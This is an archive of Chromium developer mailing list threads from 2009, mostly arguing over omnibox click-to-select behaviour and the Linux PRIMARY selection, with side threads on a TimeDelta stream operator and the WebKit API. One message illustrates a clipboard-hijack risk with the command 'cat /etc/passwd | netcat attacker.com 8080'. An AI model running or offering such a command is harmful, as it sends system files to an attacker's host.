On Thu, Aug 20, 2009 at 2:24 PM, JT Oldsjto...@xnet5.com wrote: 1) don't select the autocomplete. Do it like Firefox (autocompletions are in the dropdown, don't mess with what the user is typing) Non-starter. 2) select the autocomplete, but in a way that's clearly different from normal selection (like, have the autocompletion be just greyed out or something) I wonder if we could select with the secondary selection color. Seems pretty confusing-looking, though, since it would look like the box didn't have focus anymore. 3) make this be the one exception. I still guess I expect ^L to clobber my selection. The behavior that Dan implemented is this make an exception one -- with the addition that single-clicking the omnibox also doesn't clobber. ...whoa, the Firefox behavior is even stranger than I thought. Try this one out. 1) type google.com in url bar, hit enter 2) type text in on-page search box, select it 3) middle click in on-page search box (selection pastes as expected) 4) select text in on-page search box, hit ^L (url bar selected), middle click on text box (originally selected text pastes) 5) here's the weird one: now repeat step 4 -- the URL pastes this time! Maybe the Firefox behavior is too complicated to be worth emulating. I know Dan has spent a lot of effort trying to hack around the way the system wants to behave by default, which remains to me the most sane one. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:02 PM, JT Olds jto...@xnet5.com wrote: None of the below Linux browsers select the entire URL on the first click: Firefox Epiphany Seamonkey Galeon Midori Konqueror Dillo In fact, I can't find a single browser that does what you claim on Linux. I am on record ( http://groups.google.com/group/chromium-reviews/browse_thread/thread/878579dd61c53a00/213560d76d537337 ) as saying It would be better to just not select the text at all (a la Firefox) than to appear to select the text but not update the X primary selection. If the current behavior becomes intolerable, that is the route I'd go. Intolerable is more than just not how the native controls normally work -- it's dramatically interferes with user behavior. That may well be true on Linux. In that thread, though, we discussed a lot of other alternate methods of pasting in a URL, such as paste-and-go, middle-clicking blank sections of the tabstrip, etc. I'd want some Linux UI folks to be able to say concretely, we've lived with this for several weeks, and it's clearly not enough; we need to change. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
3) make this be the one exception. I still guess I expect ^L to clobber my selection. The behavior that Dan implemented is this make an exception one -- with the addition that single-clicking the omnibox also doesn't clobber. ...whoa, the Firefox behavior is even stranger than I thought. Try this one out. 1) type google.com in url bar, hit enter 2) type text in on-page search box, select it 3) middle click in on-page search box (selection pastes as expected) 4) select text in on-page search box, hit ^L (url bar selected), middle click on text box (originally selected text pastes) 5) here's the weird one: now repeat step 4 -- the URL pastes this time! Maybe the Firefox behavior is too complicated to be worth emulating. I know Dan has spent a lot of effort trying to hack around the way the system wants to behave by default, which remains to me the most sane one. lol alright, I concede that point. Nevertheless, after being enlightened here by both Mike Pinkerton and Viet-Trung Luu, I guess my dream is that the Linux Omnibox is more similar to the Mac one than the Windows one. Single click to focus, multi-click to select all, and yeah, clicking the border to select all sounds awesome. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:30 PM, Viet-Trung Luuviettrung...@gmail.com wrote: The observant will note that these same browsers (on Mac, at least) allow you to select everything by clicking on the border of the location bar. That's pretty cool! The target area is kind of tiny though... Adam --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:24 PM, JT Olds jto...@xnet5.com wrote: Oh yikes. Hmm. No, I'm not okay with that. Three solutions 1) don't select the autocomplete. Do it like Firefox (autocompletions are in the dropdown, don't mess with what the user is typing) The entire omnibox hinges on this behavioral difference, so we can't do this. 2) select the autocomplete, but in a way that's clearly different from normal selection (like, have the autocompletion be just greyed out or something) Has been suggested in the past, but would be a large amount of effort (as you'd not only need to modify all the drawing code, but completely reimplement editing of the text to do the right thing) and wouldn't match other platforms. 3) make this be the one exception. I still guess I expect ^L to clobber my selection. I believe this is in fact precisely how we do things today. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:42 PM, Evan Stadeest...@chromium.org wrote: A lot of webpages highlight stuff without your input (with javascript). Are you sure you want a webpage to be able to clobber your clipboard? In general, this is a bad idea. Imagine a web page selecting this text cat /etc/passwd | netcat attacker.com 8080 just as you're about to paste into a terminal window. Adam --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:41 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 2:02 PM, JT Olds jto...@xnet5.com wrote: None of the below Linux browsers select the entire URL on the first click: Firefox Epiphany Seamonkey Galeon Midori Konqueror Dillo In fact, I can't find a single browser that does what you claim on Linux. I am on record ( http://groups.google.com/group/chromium-reviews/browse_thread/thread/878579dd61c53a00/213560d76d537337 ) as saying It would be better to just not select the text at all (a la Firefox) than to appear to select the text but not update the X primary selection. If the current behavior becomes intolerable, that is the route I'd go. Intolerable is more than just not how the native controls normally work -- it's dramatically interferes with user behavior. That may well be true on Linux. In that thread, though, we discussed a lot of other alternate methods of pasting in a URL, such as paste-and-go, middle-clicking blank sections of the tabstrip, etc. I'd want some Linux UI folks to be able to say concretely, we've lived with this for several weeks, and it's clearly not enough; we need to change. PK Will you accept opinions of the opposite? I love our current behavior and can't stand having to triple-click in Firefox. Consider the following cases. a) The user is trying to completely change the contents of the omnibox. - Current behavior: 1 click - Suggested behavior: 3 clicks b) The user is trying to modify the contents of the omnibox. - Current behavior: 2 clicks - Suggested behavior: 1 click I have no facts to back up this claim, but I'd say that 70% of operations are of the former (a), with the caveat that this is a conservative estimate based on my personal experience. 100 operations - Current behavior: 70*1 + 30*2 = 130 clicks Suggested behavior: 70*3 + 30*1 = 240 clicks This analysis only pertains to number of clicks and ignores the issue of nuking the PRIMARY selection, which I've personally never had a problem with. Linux UI devel, James Hawkins --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Since everyone has their own opinions on this, isn't it best to just match platform standards? On Linux, that seems to be triple-click. On Thu, Aug 20, 2009 at 2:57 PM, James Hawkinsjhawk...@chromium.org wrote: On Thu, Aug 20, 2009 at 2:41 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 2:02 PM, JT Olds jto...@xnet5.com wrote: None of the below Linux browsers select the entire URL on the first click: Firefox Epiphany Seamonkey Galeon Midori Konqueror Dillo In fact, I can't find a single browser that does what you claim on Linux. I am on record ( http://groups.google.com/group/chromium-reviews/browse_thread/thread/878579dd61c53a00/213560d76d537337 ) as saying It would be better to just not select the text at all (a la Firefox) than to appear to select the text but not update the X primary selection. If the current behavior becomes intolerable, that is the route I'd go. Intolerable is more than just not how the native controls normally work -- it's dramatically interferes with user behavior. That may well be true on Linux. In that thread, though, we discussed a lot of other alternate methods of pasting in a URL, such as paste-and-go, middle-clicking blank sections of the tabstrip, etc. I'd want some Linux UI folks to be able to say concretely, we've lived with this for several weeks, and it's clearly not enough; we need to change. PK Will you accept opinions of the opposite? I love our current behavior and can't stand having to triple-click in Firefox. Consider the following cases. a) The user is trying to completely change the contents of the omnibox. - Current behavior: 1 click - Suggested behavior: 3 clicks b) The user is trying to modify the contents of the omnibox. - Current behavior: 2 clicks - Suggested behavior: 1 click I have no facts to back up this claim, but I'd say that 70% of operations are of the former (a), with the caveat that this is a conservative estimate based on my personal experience. 100 operations - Current behavior: 70*1 + 30*2 = 130 clicks Suggested behavior: 70*3 + 30*1 = 240 clicks This analysis only pertains to number of clicks and ignores the issue of nuking the PRIMARY selection, which I've personally never had a problem with. Linux UI devel, James Hawkins --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
jhawkins++ I am with James on this one. Would save numerous clicks. -- Mohamed Mansour On Thu, Aug 20, 2009 at 5:57 PM, James Hawkins jhawk...@chromium.orgwrote: On Thu, Aug 20, 2009 at 2:41 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 2:02 PM, JT Olds jto...@xnet5.com wrote: None of the below Linux browsers select the entire URL on the first click: Firefox Epiphany Seamonkey Galeon Midori Konqueror Dillo In fact, I can't find a single browser that does what you claim on Linux. I am on record ( http://groups.google.com/group/chromium-reviews/browse_thread/thread/878579dd61c53a00/213560d76d537337 ) as saying It would be better to just not select the text at all (a la Firefox) than to appear to select the text but not update the X primary selection. If the current behavior becomes intolerable, that is the route I'd go. Intolerable is more than just not how the native controls normally work -- it's dramatically interferes with user behavior. That may well be true on Linux. In that thread, though, we discussed a lot of other alternate methods of pasting in a URL, such as paste-and-go, middle-clicking blank sections of the tabstrip, etc. I'd want some Linux UI folks to be able to say concretely, we've lived with this for several weeks, and it's clearly not enough; we need to change. PK Will you accept opinions of the opposite? I love our current behavior and can't stand having to triple-click in Firefox. Consider the following cases. a) The user is trying to completely change the contents of the omnibox. - Current behavior: 1 click - Suggested behavior: 3 clicks b) The user is trying to modify the contents of the omnibox. - Current behavior: 2 clicks - Suggested behavior: 1 click I have no facts to back up this claim, but I'd say that 70% of operations are of the former (a), with the caveat that this is a conservative estimate based on my personal experience. 100 operations - Current behavior: 70*1 + 30*2 = 130 clicks Suggested behavior: 70*3 + 30*1 = 240 clicks This analysis only pertains to number of clicks and ignores the issue of nuking the PRIMARY selection, which I've personally never had a problem with. Linux UI devel, James Hawkins --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:57 PM, James Hawkins jhawk...@chromium.orgwrote: Will you accept opinions of the opposite? I love our current behavior and can't stand having to triple-click in Firefox. Consider the following cases. a) The user is trying to completely change the contents of the omnibox. - Current behavior: 1 click - Suggested behavior: 3 clicks b) The user is trying to modify the contents of the omnibox. - Current behavior: 2 clicks - Suggested behavior: 1 click I have no facts to back up this claim, but I'd say that 70% of operations are of the former (a), with the caveat that this is a conservative estimate based on my personal experience. I chatted with several people just now about the Mac behavior, since unlike Linux, there aren't blowing away my clipboard concerns and it seemed to me that the argument above was compelling. According to pinkerton, the behavior in Chrome Mac is not just to match Safari, Camino, or platform conventions, but ultimately for the same reason that Camino decided to place-cursor-on-click instead of selecting all: editing was thought to be common enough that selecting all becomes frustrating. To me something is wrong when we argue opposite (non-platform-dependent) conclusions on different platforms, so I filed http://crbug.com/19879 about collecting some real-world data to inform this debate. If we found that 99% of user navigations followed replacing all the text, for example, I would plead strongly with the Mac people to change their decision; if we found that 50% of navigations involved editing, I would probably argue we should reverse the Windows and Linux behaviors both. Of course, if we do get this data, the numbers are unlikely to be so clear-cut. But we won't know until then. If anyone wants to contribute a patch to do this, it would be welcome... PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
One other note: the other Mac browsers in question (Safari, Camino, etc) provide a page proxy icon which can be clicked to select the entire contents of the url bar (in case you don't want to use cmd-L). Mac Chromium is lacking that as we put the favicon in the tab not the url bar, though we have a bug filed to provide one (as it's also an affordance for dragging the page URL and Title to other applications, which I sorely miss). This puts Chromium slightly behind in the click-to-select wars that the other browsers provide as an alternative. -- Mike Pinkerton Mac Weenie pinker...@google.com --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 3:14 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 2:57 PM, James Hawkins jhawk...@chromium.org wrote: Will you accept opinions of the opposite? I love our current behavior and can't stand having to triple-click in Firefox. Consider the following cases. a) The user is trying to completely change the contents of the omnibox. - Current behavior: 1 click - Suggested behavior: 3 clicks b) The user is trying to modify the contents of the omnibox. - Current behavior: 2 clicks - Suggested behavior: 1 click I have no facts to back up this claim, but I'd say that 70% of operations are of the former (a), with the caveat that this is a conservative estimate based on my personal experience. I chatted with several people just now about the Mac behavior, since unlike Linux, there aren't blowing away my clipboard concerns and it seemed to me that the argument above was compelling. According to pinkerton, the behavior in Chrome Mac is not just to match Safari, Camino, or platform conventions, but ultimately for the same reason that Camino decided to place-cursor-on-click instead of selecting all: editing was thought to be common enough that selecting all becomes frustrating. To me something is wrong when we argue opposite (non-platform-dependent) conclusions on different platforms, so I filed http://crbug.com/19879 about collecting some real-world data to inform this debate. If we found that 99% of user navigations followed replacing all the text, for example, I would plead strongly with the Mac people to change their decision; if we found that 50% of navigations involved editing, I would probably argue we should reverse the Windows and Linux behaviors both. Of course, if we do get this data, the numbers are unlikely to be so clear-cut. But we won't know until then. If anyone wants to contribute a patch to do this, it would be welcome... PK I absolutely agree. My 70% guesstimate was purely based on my own behavior, and I have no idea how it's used for the majority of users. Most of our UI decisions in the past have been based on user data, and this is another experiment we should set up. I'm willing to look into what's required to run this experiment. -- James Hawkins --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Awesome, thanks guys. On Thu, Aug 20, 2009 at 4:20 PM, James Hawkinsjhawk...@chromium.org wrote: On Thu, Aug 20, 2009 at 3:14 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 2:57 PM, James Hawkins jhawk...@chromium.org wrote: Will you accept opinions of the opposite? I love our current behavior and can't stand having to triple-click in Firefox. Consider the following cases. a) The user is trying to completely change the contents of the omnibox. - Current behavior: 1 click - Suggested behavior: 3 clicks b) The user is trying to modify the contents of the omnibox. - Current behavior: 2 clicks - Suggested behavior: 1 click I have no facts to back up this claim, but I'd say that 70% of operations are of the former (a), with the caveat that this is a conservative estimate based on my personal experience. I chatted with several people just now about the Mac behavior, since unlike Linux, there aren't blowing away my clipboard concerns and it seemed to me that the argument above was compelling. According to pinkerton, the behavior in Chrome Mac is not just to match Safari, Camino, or platform conventions, but ultimately for the same reason that Camino decided to place-cursor-on-click instead of selecting all: editing was thought to be common enough that selecting all becomes frustrating. To me something is wrong when we argue opposite (non-platform-dependent) conclusions on different platforms, so I filed http://crbug.com/19879 about collecting some real-world data to inform this debate. If we found that 99% of user navigations followed replacing all the text, for example, I would plead strongly with the Mac people to change their decision; if we found that 50% of navigations involved editing, I would probably argue we should reverse the Windows and Linux behaviors both. Of course, if we do get this data, the numbers are unlikely to be so clear-cut. But we won't know until then. If anyone wants to contribute a patch to do this, it would be welcome... PK I absolutely agree. My 70% guesstimate was purely based on my own behavior, and I have no idea how it's used for the majority of users. Most of our UI decisions in the past have been based on user data, and this is another experiment we should set up. I'm willing to look into what's required to run this experiment. -- James Hawkins --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Overloading operator for TimeDelta
Any opposition to globally declaring an operator ostream overload for TimeDelta in base/time.h? According to style guide it needs to be fully justified, but it'd be nice to use DCHECK_xx/EXEPCT_xx/ASSERT_xx with TimeDeltas. Andrew --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
I left this comment on http://code.google.com/p/chromium/issues/detail?id=19879 but I'll reiterate here. FWIW, the results from this statistics gathering really doesn't say anything about how many users are surprised or unhappy about how the selection interacts with the selection buffer in Linux. I mean, I kind of feel like this is akin to some keyboard manufacturer's rearranging of the Insert/Delete/Home/End/PgUp/PgDn keys due to studies on what keys are used most. They're throwing off conventions in the name of change for what people actually do the most, and end up just angering people. I am quite interested in finding out what the stats are of editing versus just pasting in new URLs, as I typically feel like I do editing, but even if it turns out that my use case is infrequent, I still feel like conventions should be followed. -JT On Aug 20, 4:25 pm, JT Olds jto...@xnet5.com wrote: Awesome, thanks guys. On Thu, Aug 20, 2009 at 4:20 PM, James Hawkinsjhawk...@chromium.org wrote: On Thu, Aug 20, 2009 at 3:14 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 2:57 PM, James Hawkins jhawk...@chromium.org wrote: Will you accept opinions of the opposite? I love our current behavior and can't stand having to triple-click in Firefox. Consider the following cases. a) The user is trying to completely change the contents of the omnibox. - Current behavior: 1 click - Suggested behavior: 3 clicks b) The user is trying to modify the contents of the omnibox. - Current behavior: 2 clicks - Suggested behavior: 1 click I have no facts to back up this claim, but I'd say that 70% of operations are of the former (a), with the caveat that this is a conservative estimate based on my personal experience. I chatted with several people just now about the Mac behavior, since unlike Linux, there aren't blowing away my clipboard concerns and it seemed to me that the argument above was compelling. According to pinkerton, the behavior in Chrome Mac is not just to match Safari, Camino, or platform conventions, but ultimately for the same reason that Camino decided to place-cursor-on-click instead of selecting all: editing was thought to be common enough that selecting all becomes frustrating. To me something is wrong when we argue opposite (non-platform-dependent) conclusions on different platforms, so I filedhttp://crbug.com/19879about collecting some real-world data to inform this debate. If we found that 99% of user navigations followed replacing all the text, for example, I would plead strongly with the Mac people to change their decision; if we found that 50% of navigations involved editing, I would probably argue we should reverse the Windows and Linux behaviors both. Of course, if we do get this data, the numbers are unlikely to be so clear-cut. But we won't know until then. If anyone wants to contribute a patch to do this, it would be welcome... PK I absolutely agree. My 70% guesstimate was purely based on my own behavior, and I have no idea how it's used for the majority of users. Most of our UI decisions in the past have been based on user data, and this is another experiment we should set up. I'm willing to look into what's required to run this experiment. -- James Hawkins --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Overloading operator for TimeDelta
Andrew Scherkus wrote: Any opposition to globally declaring an operator ostream overload for TimeDelta in base/time.h? According to style guide it needs to be fully justified, but it'd be nice to use DCHECK_xx/EXEPCT_xx/ASSERT_xx with TimeDeltas. I think this is fine. Mark --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Overloading operator for TimeDelta
On Thu, Aug 20, 2009 at 3:33 PM, Andrew Scherkus scher...@chromium.orgwrote: Any opposition to globally declaring an operator ostream overload for TimeDelta in base/time.h? This will pull the stream headers into all files that use time.h. Is that going to bloat any code or cost compile time? Is there another easy solution like doing DCHECK() TimeDelta was: myTimeDelta.asInt64OrWhatever()? PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Overloading operator for TimeDelta
On Thu, Aug 20, 2009 at 16:02, Peter Kasting pkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 3:33 PM, Andrew Scherkus scher...@chromium.orgwrote: Any opposition to globally declaring an operator ostream overload for TimeDelta in base/time.h? This will pull the stream headers into all files that use time.h. Is that going to bloat any code or cost compile time? You can use iosfwd and implement the operator in the .cc file. I actually recommend doing it that way. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Oops, didn't see how long the thread was :-). On Thu, Aug 20, 2009 at 7:10 PM, Amanda Walkerama...@chromium.org wrote: Safari does not. Single click sets the text caret where you click. On Thu, Aug 20, 2009 at 4:56 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK -- Portability is generally the result of advance planning rather than trench warfare involving #ifdef -- Henry Spencer (1992) -- Portability is generally the result of advance planning rather than trench warfare involving #ifdef -- Henry Spencer (1992) --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
This thread is massive. Having been the one who wrote the majority of the Omnibox code on Linux, I can promise you that this debate has already happened about 15 times previously. I'm not sure there is any more information here, we've already decided how we want things to work. On Thu, Aug 20, 2009 at 4:11 PM, Amanda Walker ama...@chromium.org wrote: Oops, didn't see how long the thread was :-). On Thu, Aug 20, 2009 at 7:10 PM, Amanda Walkerama...@chromium.org wrote: Safari does not. Single click sets the text caret where you click. On Thu, Aug 20, 2009 at 4:56 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK -- Portability is generally the result of advance planning rather than trench warfare involving #ifdef -- Henry Spencer (1992) -- Portability is generally the result of advance planning rather than trench warfare involving #ifdef -- Henry Spencer (1992) --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: WebKit API guidance?
On Thu, Aug 20, 2009 at 9:17 PM, Drew Wilsonatwil...@chromium.org wrote: I have to admit I'm somewhat fuzzy on the motivation behind our webkit API, although I gather the plan is to eventually upstream it to WebKit, and use it as our abstraction layer instead of using the (more mutable) WebCore APIs? Or is there another motivation? Roughly speaking, the intention as I understand it is for it to be a stable, well defined C++ API that serves the same purpose as Apple's Objective-C API. With such an API, applications (such as Chromium) or other frameworks (such as CEF) would not have to be tweaked continuously to keep in sync with WebKit (much as Mac applications that use WebViews don't have to be tweaked very often to stay compatible with WebKit nightlies). Speaking from prior experience, stable interface layers can be a bit of a pain to create and maintain, but much less than the pain of trying to stay in sync with a continuously changing target. --Amanda --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: WebKit API guidance?
On Thu, Aug 20, 2009 at 6:17 PM, Drew Wilson atwil...@chromium.org wrote: I have to admit I'm somewhat fuzzy on the motivation behind our webkit API, although I gather the plan is to eventually upstream it to WebKit, and use it as our abstraction layer instead of using the (more mutable) WebCore APIs? Or is there another motivation? That's one major benefit. Another one is that WebKit could be built as a DLL with only a small surface area of entry-points. Another one is that it forces us to clean up some really messy code and dependencies. But probably the biggest benefit is that it documents how we're using WebCore. Once we have a build bot on http://build.webkit.org that builds with our API, other WebKit developers will be able to see when they break us. Eventually we'll also be running layout tests against our version of WebKit+WebCore+V8+SKIA which will do even more documenting. I'm just curious because it seems like every non-backwards-compatible change I have to make to WebCore seems to translate to a similar change to the WebKit API (case in point, I'm currently changing parameters to MessagePort.postMessage() to take multiple ports instead of a single port and this requires changes to things like WebKit::WebChannel), so upstreaming the WebKit API wouldn't really shield us from breakage in those cases. Agreed, but it help with the case of others breaking us. Anyhow, I'm trying to understand the philosophy around when to use classes like WebVector (our WebKit API version of Vector). I'm updating some of the WebKit API classes to accept a WebVector as a parameter as part of the change described above. Down in the calling code, should I use STL classes like std::vector, and then convert to WebVector only when actually calling into the WebKit API? Or should I use WebVector elsewhere in the code (like down in the glue code)? It's certainly more efficient *not* to have to convert between std::vector and WebVector if I don't have to, but that seems like a slippery slope as WebKit API classes would start spreading through the rest of the codebase. Agreed about the slippery slope part. I assume this object is just being plumbed through chrome and the IPC layer back to WebCore in another process? The first quesiton is whether the WebCore vectors that WebVector wraps are threadsafe. If not, well then you probably need to do the conversion anyway. If they are threadsafe and chrome code doesn't need to understand/manipulate them, then you could directly serialize/deserialize it in the IPC layer and move it around that way. But yeah, if you're touching the data at all in Chrome, you probably want to convert. WebVectors are only for conversion and transport. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] WebKit API guidance?
I have to admit I'm somewhat fuzzy on the motivation behind our webkit API, although I gather the plan is to eventually upstream it to WebKit, and use it as our abstraction layer instead of using the (more mutable) WebCore APIs? Or is there another motivation? I'm just curious because it seems like every non-backwards-compatible change I have to make to WebCore seems to translate to a similar change to the WebKit API (case in point, I'm currently changing parameters to MessagePort.postMessage() to take multiple ports instead of a single port and this requires changes to things like WebKit::WebChannel), so upstreaming the WebKit API wouldn't really shield us from breakage in those cases. Anyhow, I'm trying to understand the philosophy around when to use classes like WebVector (our WebKit API version of Vector). I'm updating some of the WebKit API classes to accept a WebVector as a parameter as part of the change described above. Down in the calling code, should I use STL classes like std::vector, and then convert to WebVector only when actually calling into the WebKit API? Or should I use WebVector elsewhere in the code (like down in the glue code)? It's certainly more efficient *not* to have to convert between std::vector and WebVector if I don't have to, but that seems like a slippery slope as WebKit API classes would start spreading through the rest of the codebase. Any guidance for me? -atw --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Overloading operator for TimeDelta
+1 for Peter's suggestion. TimeDelta has an internal accuracy of microseconds. What resolution/scaling do you want to print in a check? Sometimes it is minutes, sometimes seconds, sometimes milliseconds, I doubt that we want microseconds :-/. Explicit conversion as suggested doesn't seem that painful IMO. Jim On Thu, Aug 20, 2009 at 4:02 PM, Peter Kasting pkast...@chromium.orgwrote: On Thu, Aug 20, 2009 at 3:33 PM, Andrew Scherkus scher...@chromium.orgwrote: Any opposition to globally declaring an operator ostream overload for TimeDelta in base/time.h? This will pull the stream headers into all files that use time.h. Is that going to bloat any code or cost compile time? Is there another easy solution like doing DCHECK() TimeDelta was: myTimeDelta.asInt64OrWhatever()? PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Overloading operator for TimeDelta
Andrew wants to be able to do: DCHECK_EQ(expected_time_delta, time_delta); This can't be done without operator support. On Thu, Aug 20, 2009 at 6:46 PM, Jim Roskind j...@chromium.org wrote: +1 for Peter's suggestion. TimeDelta has an internal accuracy of microseconds. What resolution/scaling do you want to print in a check? Sometimes it is minutes, sometimes seconds, sometimes milliseconds, I doubt that we want microseconds :-/. Explicit conversion as suggested doesn't seem that painful IMO. Jim On Thu, Aug 20, 2009 at 4:02 PM, Peter Kasting pkast...@chromium.orgwrote: On Thu, Aug 20, 2009 at 3:33 PM, Andrew Scherkus scher...@chromium.orgwrote: Any opposition to globally declaring an operator ostream overload for TimeDelta in base/time.h? This will pull the stream headers into all files that use time.h. Is that going to bloat any code or cost compile time? Is there another easy solution like doing DCHECK() TimeDelta was: myTimeDelta.asInt64OrWhatever()? PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Overloading operator for TimeDelta
